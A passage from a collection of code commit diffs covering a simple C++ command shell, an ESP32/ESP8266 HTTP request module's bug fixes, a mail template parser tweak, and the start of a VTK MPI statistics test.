false; \/\/Checks if the parathese is open or not.\n            int para_loc = 0;\n            \n            for(unsigned i = 0; i < whole_command.size(); ++i)\n            {\n                if(whole_command.at(i) == \"(\")\n                {\n                    \/\/We now know that there is an open paratheses.\n                    para_open = true;\n                    \/\/Push the current command onto the vector.\n                    if(!command.empty())\n                    {\n                        commands.push_back(command);\n                        command.clear();\n                    }\n                    \/\/Then, push the paratheses on the vector.\n                    command.push_back(whole_command.at(i));\n                    para_loc = command.size() - 1; \/\/Store the location of the open paratheses.\n\n                }\n                else if(para_open == true)\n                {\n                    \/\/There is a closed paratheses which will close the inner command.\n                    if(whole_command.at(i) == \")\")\n                    {\n                        \/\/We know that this is a closed set of paratheses, so we push that command on there.\n                        \/\/Afterwards we removed the opening paratheses since we know that is this is a closed\n                        \/\/command.\n                        para_open = false;\n                        command.erase(command.begin() + para_loc);\n                        commands.push_back(command);\n                        command.clear();\n                    }\n                    else\n                    {\n                        \/\/In this case we just add the piece of the command onto the vector before we close it.\n                        command.push_back(whole_command.at(i));\n                    }\n                }\n                else\n                {   \/\/Just add the piece of the command onto the vector.\n                    command.push_back(whole_command.at(i));\n                }\n            }\n            \/\/If no paratheses were left in the vector we simply check of any commands were put into the vector\n            \/\/And push that in as well.\n            if(!command.empty())\n            {\n                commands.push_back(command);\n            }\n\n            \/\/Test to see if the commands are actually organized correctly.\n            \/*for (unsigned i = 0; i < commands.size(); ++i)\n\t        {\n\t            for(unsigned j = 0; j < commands.at(i).size(); j++)\n\t            {\n\t                std::cout << commands.at(i).at(j) << std::endl;\n\t            }\n\t            std::cout << \"COMMAND\" << std::endl;\n\t        }*\/\n            \n            return commands;\n        }\n        \n        \/\/Executes the command.\n        bool execute(vector<string>cmd)\n        {\n                \/\/Accounts for case if a comment is inputted.\n                if (cmd.size() == 0)\n                {\n                    return false;\n                }\n                else if (cmd.at(0) == \"exit\" && cmd.size() == 1)\n                {\n                    return false;\n                }\n                else\n                {\n\t\t        char **temp = new char*[cmd.size() + 1];\n                \/\/Sets the command in a c-string form.\n                for(unsigned i = 0; i < cmd.size(); ++i)\n                {\n                    temp[i] = (char*)cmd.at(i).c_str();\n                }\n                \/\/We push a null character at the end of the array to let execvp\n                \/\/know where to end with the command.\n                temp[cmd.size()] = NULL;\n                \n                pid_t pid = fork();\n                if (pid == 0)\n                {\n                    \/\/If the command does not work\n                    if(execvp(temp[0], temp) == -1)\n                    {\n                        perror(\"exec\");\n                        return false;\n                    }\n                }\n                if (pid > 0)\n                {\n                    if (wait(0) == -1)\n                    {\n                        perror(\"wait\");\n                    }\n                }\n                return true;\n                }\n        }\n\t\/\/Connector Logic is put here.\n\t\/\/Made to decide whether or not to execute the next command\n\t\/\/in sequence given the connector.\n        bool connector(bool cmdExecuted, string connector)\n        {\n            if(connector == \"||\") \n            {\n                if(cmdExecuted == false)\n                {\n                    return true;\n                }\n                else\n                {\n                    return false;\n                }\n            }\n            else if(connector == \"&&\")\n            {\n                if(cmdExecuted == true)\n                {\n                    return true;  \n                }\n                else\n                {\n                    return false;\n                }\n            }\n            else if(connector == \"#\")\n            {\n                return false;\n            }\n            \/\/Semicolon will always execute next command \n            else \n            {\n                return true;    \n            }\n        }\n};<|endoftext|>"}
{"text":"<commit_before>#include \"iotsaRequest.h\"\n#include <base64.h>\n#ifdef ESP32\n#include <HTTPClient.h>\n#else\n#include <ESP8266HTTPClient.h>\n#endif\n\n#ifdef ESP32\n#define SSL_INFO_NAME \"rootCA\"\n#else\n#define SSL_INFO_NAME \"fingerprint\"\n#endif\n\n\nbool IotsaRequest::configLoad(IotsaConfigFileLoad& cf, String& f_name) {\n    cf.get(f_name + \".url\", url, \"\");\n    cf.get(f_name + \".\" + SSL_INFO_NAME, sslInfo, \"\");\n    cf.get(f_name + \"credentials\", credentials, \"\");\n    cf.get(f_name + \"token\", token, \"\");\n    return url != \"\";\n}\n\nvoid IotsaRequest::configSave(IotsaConfigFileSave& cf, String& f_name) {\n    cf.put(f_name + \".url\", url);\n    cf.put(f_name + \".\" + SSL_INFO_NAME, sslInfo);\n    cf.put(f_name + \".credentials\", credentials);\n    cf.put(f_name + \".token\", token);\n}\n\n#ifdef IOTSA_WITH_WEB\nvoid IotsaRequest::formHandler(String& message) { \n  message += \"Activation URL: <input name='url'><br>\\n\";\n#ifdef ESP32\n  message += \"Root CA cert <i>(https only)<\/i>: <input name='rootCA'><br>\\n\";\n#else\n  message += \"Fingerprint <i>(https only)<\/i>: <input name='fingerprint'><br>\\n\";\n#endif\n\n  message += \"Bearer token <i>(optional)<\/i>: <input name='token'><br>\\n\";\n  message += \"Credentials <i>(optional, user:pass)<\/i>: <input name='credentials'><br>\\n\";\n}\n\nvoid IotsaRequest::formHandler(String& message, String& text, String& f_name) { \n  message += \"Activation URL: <input name='\" + f_name +  \".url' value='\";\n  message += url;\n  message += \"'><br>\\n\";\n#ifdef ESP32\n  message += \"Root CA cert <i>(https only)<\/i>: <input name='\" + f_name + \".rootCA' value='\";\n  message += sslInfo;\n#else\n  message += \"Fingerprint <i>(https only)<\/i>: <input name='\" + f_name +  \".fingerprint' value='\";\n  message += sslInfo;\n#endif\n  message += \"'><br>\\n\";\n\n  message += \"Bearer token <i>(optional)<\/i>: <input name='\" + f_name + \".token' value='\";\n  message += token;\n  message += \"'><br>\\n\";\n\n  message += \"Credentials <i>(optional, user:pass)<\/i>: <input name='\" + f_name + \".credentials' value='\";\n  message += credentials;\n  message += \"'><br>\\n\";\n}\n\nvoid IotsaRequest::formHandlerTH(String& message) {\n  message += \"<th>URL<\/th><th>\" SSL_INFO_NAME \"<\/th><th>credentials<\/th><th>token<\/th>\";\n}\n\nvoid IotsaRequest::formHandlerTD(String& message) {\n  message += \"<td>\";\n  message += url;\n  message += \"<\/td><td>\";\n  message += sslInfo;\n  message += \"<\/td><td>\";\n  message += credentials;\n  message += \"<\/td><td>\";\n  message += token;\n  message += \"<\/td>\";\n}\n\nbool IotsaRequest::formArgHandler(IotsaWebServer *server, String name) {\n  bool any = false;\n  String wtdName = name + \"url\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), url);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(url);\n    any = true;\n  }\n  wtdName = name + SSL_INFO_NAME;\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), sslInfo);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(sslInfo);\n    any = true;\n  }\n  wtdName = name + \"credentials\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), credentials);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(credentials);\n    any = true;\n    }\n  wtdName = name + \"token\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), token);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(token);\n    any = true;\n  }\n  return any;\n}\n#endif \/\/ IOTSA_WITH_WEB\n\nbool IotsaRequest::send(const char *query) {\n  bool rv = true;\n  HTTPClient http;\n  WiFiClient client;\n#ifdef ESP32\n  WiFiClientSecure secureClient;\n#else\n  BearSSL::WiFiClientSecure *secureClientPtr = NULL;\n#endif\n  String _url = url;\n  if (query != NULL && *query != '\\0') {\n    _url = _url + \"?\" + query;\n  }\n  if (_url.startsWith(\"https:\")) {\n#ifdef ESP32\n    secureClient.setCACert(sslInfo.c_str());\n    rv = http.begin(secureClient, _url);\n#else\n    secureClientPtr = new BearSSL::WiFiClientSecure();\n    secureClientPtr->setFingerprint(sslInfo.c_str());\n\n    rv = http.begin(*secureClientPtr, _url);\n#endif\n  } else {\n    rv = http.begin(client, _url);  \n  }\n  if (!rv) {\n#ifndef ESP32\n    if (secureClientPtr) delete secureClientPtr;\n#endif\n    return false;\n  }\n  if (token != \"\") {\n    http.addHeader(\"Authorization\", \"Bearer \" + token);\n  }\n\n  if (credentials != \"\") {\n  \tString cred64 = base64::encode(credentials);\n    http.addHeader(\"Authorization\", \"Basic \" + cred64);\n  }\n  int code = http.GET();\n  if (code >= 200 && code <= 299) {\n    IFDEBUG IotsaSerial.print(code);\n    IFDEBUG IotsaSerial.print(\" OK GET \");\n    IFDEBUG IotsaSerial.println(_url);\n  } else {\n    IFDEBUG IotsaSerial.print(code);\n    IFDEBUG IotsaSerial.print(\" FAIL GET \");\n    IFDEBUG IotsaSerial.print(_url);\n    if (sslInfo != \"\") {\n#ifdef ESP32\n      IFDEBUG IotsaSerial.print(\", RootCA \");\n#else\n      IFDEBUG IotsaSerial.print(\", fingerprint \");\n#endif\n      IFDEBUG IotsaSerial.println(sslInfo);\n    }\n    rv = false;\n  }\n  http.end();\n#ifndef ESP32\n  if (secureClientPtr) delete secureClientPtr;\n#endif\n  return rv;\n}\n\n#ifdef IOTSA_WITH_API\nvoid IotsaRequest::getHandler(JsonObject& reply) {\n  reply[\"url\"] = url;\n  reply[SSL_INFO_NAME] = sslInfo;\n  reply[\"hasCredentials\"] = credentials != \"\";\n  reply[\"hasToken\"] = token != \"\";\n}\n\nbool IotsaRequest::putHandler(const JsonVariant& request) {\n  if (!request.is<JsonObject>()) return false;\n  bool any = false;\n  const JsonObject& reqObj = request.as<JsonObject>();\n  if (reqObj.containsKey(\"url\")) {\n    any = true;\n    url = reqObj[\"url\"].as<String>();\n  }\n  if (reqObj.containsKey(SSL_INFO_NAME)) {\n    any = true;\n    sslInfo = reqObj[SSL_INFO_NAME].as<String>();\n  }\n  if (reqObj.containsKey(\"credentials\")) {\n    any = true;\n    credentials = reqObj[\"credentials\"].as<String>();\n  }\n  if (reqObj.containsKey(\"token\")) {\n    any = true;\n    token = reqObj[\"token\"].as<String>();\n  }\n  return any;\n}\n#endif \/\/ IOTSA_WITH_API<commit_msg>Bug fixes to iotsaRequest<commit_after>#include \"iotsaRequest.h\"\n#include <base64.h>\n#ifdef ESP32\n#include <HTTPClient.h>\n#else\n#include <ESP8266HTTPClient.h>\n#endif\n\n#ifdef ESP32\n#define SSL_INFO_NAME \"rootCA\"\n#else\n#define SSL_INFO_NAME \"fingerprint\"\n#endif\n\n\nbool IotsaRequest::configLoad(IotsaConfigFileLoad& cf, String& f_name) {\n    cf.get(f_name + \".url\", url, \"\");\n    cf.get(f_name + \".\" + SSL_INFO_NAME, sslInfo, \"\");\n    cf.get(f_name + \".credentials\", credentials, \"\");\n    cf.get(f_name + \".token\", token, \"\");\n    return url != \"\";\n}\n\nvoid IotsaRequest::configSave(IotsaConfigFileSave& cf, String& f_name) {\n    cf.put(f_name + \".url\", url);\n    cf.put(f_name + \".\" + SSL_INFO_NAME, sslInfo);\n    cf.put(f_name + \".credentials\", credentials);\n    cf.put(f_name + \".token\", token);\n}\n\n#ifdef IOTSA_WITH_WEB\nvoid IotsaRequest::formHandler(String& message) { \n  message += \"Activation URL: <input name='url'><br>\\n\";\n#ifdef ESP32\n  message += \"Root CA cert <i>(https only)<\/i>: <input name='rootCA'><br>\\n\";\n#else\n  message += \"Fingerprint <i>(https only)<\/i>: <input name='fingerprint'><br>\\n\";\n#endif\n\n  message += \"Bearer token <i>(optional)<\/i>: <input name='token'><br>\\n\";\n  message += \"Credentials <i>(optional, user:pass)<\/i>: <input name='credentials'><br>\\n\";\n}\n\nvoid IotsaRequest::formHandler(String& message, String& text, String& f_name) { \n  message += \"Activation URL: <input name='\" + f_name +  \".url' value='\";\n  message += url;\n  message += \"'><br>\\n\";\n#ifdef ESP32\n  message += \"Root CA cert <i>(https only)<\/i>: <input name='\" + f_name + \".rootCA' value='\";\n  message += sslInfo;\n#else\n  message += \"Fingerprint <i>(https only)<\/i>: <input name='\" + f_name +  \".fingerprint' value='\";\n  message += sslInfo;\n#endif\n  message += \"'><br>\\n\";\n\n  message += \"Bearer token <i>(optional)<\/i>: <input name='\" + f_name + \".token' value='\";\n  message += token;\n  message += \"'><br>\\n\";\n\n  message += \"Credentials <i>(optional, user:pass)<\/i>: <input name='\" + f_name + \".credentials' value='\";\n  message += credentials;\n  message += \"'><br>\\n\";\n}\n\nvoid IotsaRequest::formHandlerTH(String& message) {\n  message += \"<th>URL<\/th><th>\" SSL_INFO_NAME \"<\/th><th>credentials<\/th><th>token<\/th>\";\n}\n\nvoid IotsaRequest::formHandlerTD(String& message) {\n  message += \"<td>\";\n  message += url;\n  message += \"<\/td><td>\";\n  message += sslInfo;\n  message += \"<\/td><td>\";\n  message += credentials;\n  message += \"<\/td><td>\";\n  message += token;\n  message += \"<\/td>\";\n}\n\nbool IotsaRequest::formArgHandler(IotsaWebServer *server, String name) {\n  bool any = false;\n  String wtdName = name + \"url\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), url);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(url);\n    any = true;\n  }\n  wtdName = name + SSL_INFO_NAME;\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), sslInfo);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(sslInfo);\n    any = true;\n  }\n  wtdName = name + \"credentials\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), credentials);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(credentials);\n    any = true;\n    }\n  wtdName = name + \"token\";\n  if (server->hasArg(wtdName)) {\n    IotsaMod::percentDecode(server->arg(wtdName), token);\n    IFDEBUG IotsaSerial.print(wtdName);\n    IFDEBUG IotsaSerial.print(\"=\");\n    IFDEBUG IotsaSerial.println(token);\n    any = true;\n  }\n  return any;\n}\n#endif \/\/ IOTSA_WITH_WEB\n\nbool IotsaRequest::send(const char *query) {\n  bool rv = true;\n  HTTPClient http;\n  WiFiClient client;\n#ifdef ESP32\n  WiFiClientSecure secureClient;\n#else\n  BearSSL::WiFiClientSecure *secureClientPtr = NULL;\n#endif\n  String _url = url;\n  if (query != NULL && *query != '\\0') {\n    if (_url.indexOf('?') > 0) {\n      _url = _url + \"&\" + query;\n    } else {\n      _url = _url + \"?\" + query;\n    }\n  }\n  if (_url.startsWith(\"https:\")) {\n#ifdef ESP32\n    secureClient.setCACert(sslInfo.c_str());\n    rv = http.begin(secureClient, _url);\n#else\n    secureClientPtr = new BearSSL::WiFiClientSecure();\n    secureClientPtr->setFingerprint(sslInfo.c_str());\n\n    rv = http.begin(*secureClientPtr, _url);\n#endif\n  } else {\n    rv = http.begin(client, _url);  \n  }\n  if (!rv) {\n#ifndef ESP32\n    if (secureClientPtr) delete secureClientPtr;\n#endif\n    return false;\n  }\n  if (token != \"\") {\n    http.addHeader(\"Authorization\", \"Bearer \" + token);\n  }\n\n  if (credentials != \"\") {\n  \tString cred64 = base64::encode(credentials);\n    http.addHeader(\"Authorization\", \"Basic \" + cred64);\n  }\n  int code = http.GET();\n  if (code >= 200 && code <= 299) {\n    IFDEBUG IotsaSerial.print(code);\n    IFDEBUG IotsaSerial.print(\" OK GET \");\n    IFDEBUG IotsaSerial.println(_url);\n  } else {\n    IFDEBUG IotsaSerial.print(code);\n    IFDEBUG IotsaSerial.print(\" FAIL GET \");\n    IFDEBUG IotsaSerial.print(_url);\n    if (sslInfo != \"\") {\n#ifdef ESP32\n      IFDEBUG IotsaSerial.print(\", RootCA \");\n#else\n      IFDEBUG IotsaSerial.print(\", fingerprint \");\n#endif\n      IFDEBUG IotsaSerial.println(sslInfo);\n    }\n    rv = false;\n  }\n  http.end();\n#ifndef ESP32\n  if (secureClientPtr) delete secureClientPtr;\n#endif\n  return rv;\n}\n\n#ifdef IOTSA_WITH_API\nvoid IotsaRequest::getHandler(JsonObject& reply) {\n  reply[\"url\"] = url;\n  reply[SSL_INFO_NAME] = sslInfo;\n  reply[\"hasCredentials\"] = credentials != \"\";\n  reply[\"hasToken\"] = token != \"\";\n}\n\nbool IotsaRequest::putHandler(const JsonVariant& request) {\n  if (!request.is<JsonObject>()) return false;\n  bool any = false;\n  const JsonObject& reqObj = request.as<JsonObject>();\n  if (reqObj.containsKey(\"url\")) {\n    any = true;\n    url = reqObj[\"url\"].as<String>();\n  }\n  if (reqObj.containsKey(SSL_INFO_NAME)) {\n    any = true;\n    sslInfo = reqObj[SSL_INFO_NAME].as<String>();\n  }\n  if (reqObj.containsKey(\"credentials\")) {\n    any = true;\n    credentials = reqObj[\"credentials\"].as<String>();\n  }\n  if (reqObj.containsKey(\"token\")) {\n    any = true;\n    token = reqObj[\"token\"].as<String>();\n  }\n  return any;\n}\n#endif \/\/ IOTSA_WITH_API<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2007-2009 Digital Bazaar, Inc. All rights reserved.\n *\/\n#include \"monarch\/mail\/MailTemplateParser.h\"\n\n#include \"monarch\/data\/TemplateInputStream.h\"\n#include \"monarch\/rt\/Exception.h\"\n\nusing namespace std;\nusing namespace monarch::data;\nusing namespace monarch::io;\nusing namespace monarch::mail;\nusing namespace monarch::rt;\n\nMailTemplateParser::MailTemplateParser()\n{\n}\n\nMailTemplateParser::~MailTemplateParser()\n{\n}\n\n\/**\n * Parses a single line from the template and adds its contents to the\n * passed Mail either as a header or as a line of the message body.\n * Template variables are replaced according to the passed \"vars\"\n * DynamicObject and the headers flag is cleared once a blank line\n * has been parsed.\n *\n * @param mail the Mail to populate.\n * @param vars the key-value variables in the template.\n * @param line the line to parse.\n * @param headers the flag to clear once the headers have been parsed.\n * @param bodyEncoded the flag to set if the body should be transfer-encoded.\n *\n * @return true if successful, false if an exception occurred.\n *\/\nstatic bool parseLine(\n   Mail* mail, const char* line, bool& headers, bool& bodyEncoded)\n{\n   bool rval = true;\n\n   if(headers)\n   {\n      if(strlen(line) == 0)\n      {\n         \/\/ empty line means last header found\n         headers = false;\n      }\n      else\n      {\n         \/\/ get the header name\n         const char* header = strstr(line, \": \");\n\n         \/\/ ensure there is a header name and that no white-space occurs in it\n         if(header == NULL || (int)strcspn(line, \" \\t\") < (header - line))\n         {\n            ExceptionRef e = new Exception(\n               \"Parse error while parsing mail template. Mail header \"\n               \"is malformed or non-existant.\",\n               \"monarch.mail.InvalidHeader\");\n            Exception::set(e);\n            rval = false;\n         }\n         else\n         {\n            \/\/ see if the header is the subject header\n            if(strncasecmp(line, \"subject\", 7) == 0)\n            {\n               \/\/ subject line found\n               mail->setSubject(header + 2);\n            }\n            else\n            {\n               \/\/ set the header\n               char hdr[header - line + 1];\n               strncpy(hdr, line, header - line);\n               hdr[header - line] = 0;\n               mail->setHeader(hdr, header + 2);\n\n               if(!bodyEncoded)\n               {\n                  bodyEncoded = mail->shouldTransferEncodeBody();\n               }\n            }\n         }\n      }\n   }\n   else\n   {\n      \/\/ append the line to the mail's body\n      mail->appendBodyLine(line);\n   }\n\n   return rval;\n}\n\nbool MailTemplateParser::parse(\n   Mail* mail, DynamicObject& vars, bool strict, InputStream* is)\n{\n   bool rval = true;\n\n   \/\/ FIXME: This code can be refactored to do less \"cornercase\" handling\n   \/\/ regarding body encoding\n\n   \/\/ clear mail\n   mail->clear();\n\n   \/\/ add template input stream to passed input stream\n   TemplateInputStream tis(vars, strict, is, false);\n\n   \/\/ SMTP RFC requires lines be no longer than 998 bytes (+2 for CRLF = 1000)\n   \/\/ so read in a maximum of 1000 bytes at a time\n   bool bodyEncoded = mail->shouldTransferEncodeBody();\n   string body;\n   bool headers = true;\n   char b[1001];\n   int numBytes;\n   int length = 0;\n   char* start = 0;\n   char* end = 0;\n   bool cr = false;\n\n   \/\/ read as much as 1000 bytes at a time, then check the read buffer\n   while(rval && (numBytes = tis.read(b + length, 1000 - length)) > 0)\n   {\n      \/\/ increment length (number of valid bytes in 'b')\n      length += numBytes;\n\n      \/\/ ensure line is null-terminated\n      b[length] = 0;\n      start = b;\n\n      \/\/ if using body encoded and headers are finished, append to body string\n      if(bodyEncoded && !headers)\n      {\n         body.append(b);\n         length = 0;\n      }\n      \/\/ parse line normally\n      else\n      {\n         \/\/ parse lines according to line breaks\n         while(rval && (end = strpbrk(start, \"\\r\\n\")) != NULL)\n         {\n            \/\/ take note of CR, then insert null-terminator\n            cr = (end[0] == '\\r');\n            end[0] = 0;\n\n            \/\/ parse line\n            rval = parseLine(mail, start, headers, bodyEncoded);\n\n            \/\/ decrement length and increment start skipping LF as appropriate\n            \/\/ Note: 'b' always ends in 0, so end[1] must always be a valid byte\n            \/\/ or the null-terminator of b\n            int skip = (cr && end[1] == '\\n' ? 2 : 1);\n            length -= (end - start) + skip;\n            start = end + skip;\n\n            if(!headers && bodyEncoded)\n            {\n               \/\/ append rest of data in buffer to body and break\n               body.append(start);\n               start = b;\n               length = 0;\n               break;\n            }\n         }\n\n         if(end == NULL && length > 998)\n         {\n            \/\/ invalid line detected\n            numBytes = -1;\n            ExceptionRef e = new Exception(\n               \"Message line too long. SMTP requires that lines be no longer \"\n               \"than 1000 bytes, including the terminating CRLF.\",\n               \"monarch.mail.LineTooLong\");\n            Exception::set(e);\n            rval = false;\n         }\n         else if(start > b)\n         {\n            \/\/ shift buffer contents as necessary\n            memmove(b, start, length + 1);\n         }\n      }\n   }\n\n   if(numBytes < 0)\n   {\n      rval = false;\n   }\n   else if(length > 0)\n   {\n      \/\/ if using body encoded and headers are finished, append to body string\n      if(bodyEncoded && !headers)\n      {\n         body.append(b);\n      }\n      \/\/ parse last line normally\n      else\n      {\n         rval = parseLine(mail, b, headers, bodyEncoded);\n      }\n   }\n\n   \/\/ if body is to be encoded, now set it in the mail\n   if(bodyEncoded)\n   {\n      mail->setBody(body.c_str());\n   }\n\n   return rval;\n}\n<commit_msg>Turned on eol strip by default.<commit_after>\/*\n * Copyright (c) 2007-2009 Digital Bazaar, Inc. All rights reserved.\n *\/\n#include \"monarch\/mail\/MailTemplateParser.h\"\n\n#include \"monarch\/data\/TemplateInputStream.h\"\n#include \"monarch\/rt\/Exception.h\"\n\nusing namespace std;\nusing namespace monarch::data;\nusing namespace monarch::io;\nusing namespace monarch::mail;\nusing namespace monarch::rt;\n\nMailTemplateParser::MailTemplateParser()\n{\n}\n\nMailTemplateParser::~MailTemplateParser()\n{\n}\n\n\/**\n * Parses a single line from the template and adds its contents to the\n * passed Mail either as a header or as a line of the message body.\n * Template variables are replaced according to the passed \"vars\"\n * DynamicObject and the headers flag is cleared once a blank line\n * has been parsed.\n *\n * @param mail the Mail to populate.\n * @param vars the key-value variables in the template.\n * @param line the line to parse.\n * @param headers the flag to clear once the headers have been parsed.\n * @param bodyEncoded the flag to set if the body should be transfer-encoded.\n *\n * @return true if successful, false if an exception occurred.\n *\/\nstatic bool parseLine(\n   Mail* mail, const char* line, bool& headers, bool& bodyEncoded)\n{\n   bool rval = true;\n\n   if(headers)\n   {\n      if(strlen(line) == 0)\n      {\n         \/\/ empty line means last header found\n         headers = false;\n      }\n      else\n      {\n         \/\/ get the header name\n         const char* header = strstr(line, \": \");\n\n         \/\/ ensure there is a header name and that no white-space occurs in it\n         if(header == NULL || (int)strcspn(line, \" \\t\") < (header - line))\n         {\n            ExceptionRef e = new Exception(\n               \"Parse error while parsing mail template. Mail header \"\n               \"is malformed or non-existant.\",\n               \"monarch.mail.InvalidHeader\");\n            Exception::set(e);\n            rval = false;\n         }\n         else\n         {\n            \/\/ see if the header is the subject header\n            if(strncasecmp(line, \"subject\", 7) == 0)\n            {\n               \/\/ subject line found\n               mail->setSubject(header + 2);\n            }\n            else\n            {\n               \/\/ set the header\n               char hdr[header - line + 1];\n               strncpy(hdr, line, header - line);\n               hdr[header - line] = 0;\n               mail->setHeader(hdr, header + 2);\n\n               if(!bodyEncoded)\n               {\n                  bodyEncoded = mail->shouldTransferEncodeBody();\n               }\n            }\n         }\n      }\n   }\n   else\n   {\n      \/\/ append the line to the mail's body\n      mail->appendBodyLine(line);\n   }\n\n   return rval;\n}\n\nbool MailTemplateParser::parse(\n   Mail* mail, DynamicObject& vars, bool strict, InputStream* is)\n{\n   bool rval = true;\n\n   \/\/ FIXME: This code can be refactored to do less \"cornercase\" handling\n   \/\/ regarding body encoding\n\n   \/\/ clear mail\n   mail->clear();\n\n   \/\/ add template input stream to passed input stream\n   TemplateInputStream tis(vars, strict, is, false);\n   tis.setStripStartingEol(true);\n\n   \/\/ SMTP RFC requires lines be no longer than 998 bytes (+2 for CRLF = 1000)\n   \/\/ so read in a maximum of 1000 bytes at a time\n   bool bodyEncoded = mail->shouldTransferEncodeBody();\n   string body;\n   bool headers = true;\n   char b[1001];\n   int numBytes;\n   int length = 0;\n   char* start = 0;\n   char* end = 0;\n   bool cr = false;\n\n   \/\/ read as much as 1000 bytes at a time, then check the read buffer\n   while(rval && (numBytes = tis.read(b + length, 1000 - length)) > 0)\n   {\n      \/\/ increment length (number of valid bytes in 'b')\n      length += numBytes;\n\n      \/\/ ensure line is null-terminated\n      b[length] = 0;\n      start = b;\n\n      \/\/ if using body encoded and headers are finished, append to body string\n      if(bodyEncoded && !headers)\n      {\n         body.append(b);\n         length = 0;\n      }\n      \/\/ parse line normally\n      else\n      {\n         \/\/ parse lines according to line breaks\n         while(rval && (end = strpbrk(start, \"\\r\\n\")) != NULL)\n         {\n            \/\/ take note of CR, then insert null-terminator\n            cr = (end[0] == '\\r');\n            end[0] = 0;\n\n            \/\/ parse line\n            rval = parseLine(mail, start, headers, bodyEncoded);\n\n            \/\/ decrement length and increment start skipping LF as appropriate\n            \/\/ Note: 'b' always ends in 0, so end[1] must always be a valid byte\n            \/\/ or the null-terminator of b\n            int skip = (cr && end[1] == '\\n' ? 2 : 1);\n            length -= (end - start) + skip;\n            start = end + skip;\n\n            if(!headers && bodyEncoded)\n            {\n               \/\/ append rest of data in buffer to body and break\n               body.append(start);\n               start = b;\n               length = 0;\n               break;\n            }\n         }\n\n         if(end == NULL && length > 998)\n         {\n            \/\/ invalid line detected\n            numBytes = -1;\n            ExceptionRef e = new Exception(\n               \"Message line too long. SMTP requires that lines be no longer \"\n               \"than 1000 bytes, including the terminating CRLF.\",\n               \"monarch.mail.LineTooLong\");\n            Exception::set(e);\n            rval = false;\n         }\n         else if(start > b)\n         {\n            \/\/ shift buffer contents as necessary\n            memmove(b, start, length + 1);\n         }\n      }\n   }\n\n   if(numBytes < 0)\n   {\n      rval = false;\n   }\n   else if(length > 0)\n   {\n      \/\/ if using body encoded and headers are finished, append to body string\n      if(bodyEncoded && !headers)\n      {\n         body.append(b);\n      }\n      \/\/ parse last line normally\n      else\n      {\n         rval = parseLine(mail, b, headers, bodyEncoded);\n      }\n   }\n\n   \/\/ if body is to be encoded, now set it in the mail\n   if(bodyEncoded)\n   {\n      mail->setBody(body.c_str());\n   }\n\n   return rval;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>removed energy normalization<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    TestRandomPContingencyStatisticsMPI.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*\n * Copyright 2009 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\/\/ .SECTION Thanks\n\/\/ Thanks to Philippe Pebay for implementing this test.\n\n#include <mpi.h>\n\n#include \"vtkContingencyStatistics.h\"\n#include \"vtkPContingencyStatistics.h\"\n\n#include \"vtkDoubleArray.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkMath.h\"\n#include \"vtkMPIController.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkStdString.h\"\n#include \"vtkTable.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkVariantArray.h\"\n\n\/\/ For debugging purposes, output contingency table, which may be huge: it has the size O(span^2).\n#define DEBUG_CONTINGENCY_TABLE 0\n\nstruct RandomContingencyStatisticsArgs\n{\n  int nVals;\n  double span;\n  double absTol;\n  int* retVal;\n  int ioRank;\n  int argc;\n  char** argv;\n};\n\n\/\/ This will be called by all processes\nvoid RandomContingencyStatistics( vtkMultiProcessController* controller, void* arg )\n{\n  \/\/ Get test parameters\n  RandomContingencyStatisticsArgs* args = reinterpret_cast<RandomContingencyStatisticsArgs*>( arg );\n  *(args->retVal) = 0;\n\n  \/\/ Get MPI communicator\n  vtkMPICommunicator* com = vtkMPICommunicator::SafeDownCast( controller->GetCommunicator() );\n\n  \/\/ Get local rank\n  int myRank = com->GetLocalProcessId();\n\n  \/\/ Seed random number generator\n  vtkMath::RandomSeed( static_cast<int>( time( NULL ) ) * ( myRank + 1 ) );\n\n  \/\/ Generate an input table that contains samples of mutually independent discrete random variables\n  int nVariables = 2;\n  vtkIntArray* intArray[2];\n  vtkStdString columnNames[] = { \"Rounded Normal 0\", \n                                 \"Rounded Normal 1\" };\n  \n  vtkTable* inputData = vtkTable::New();\n  \/\/ Discrete rounded normal samples\n  for ( int c 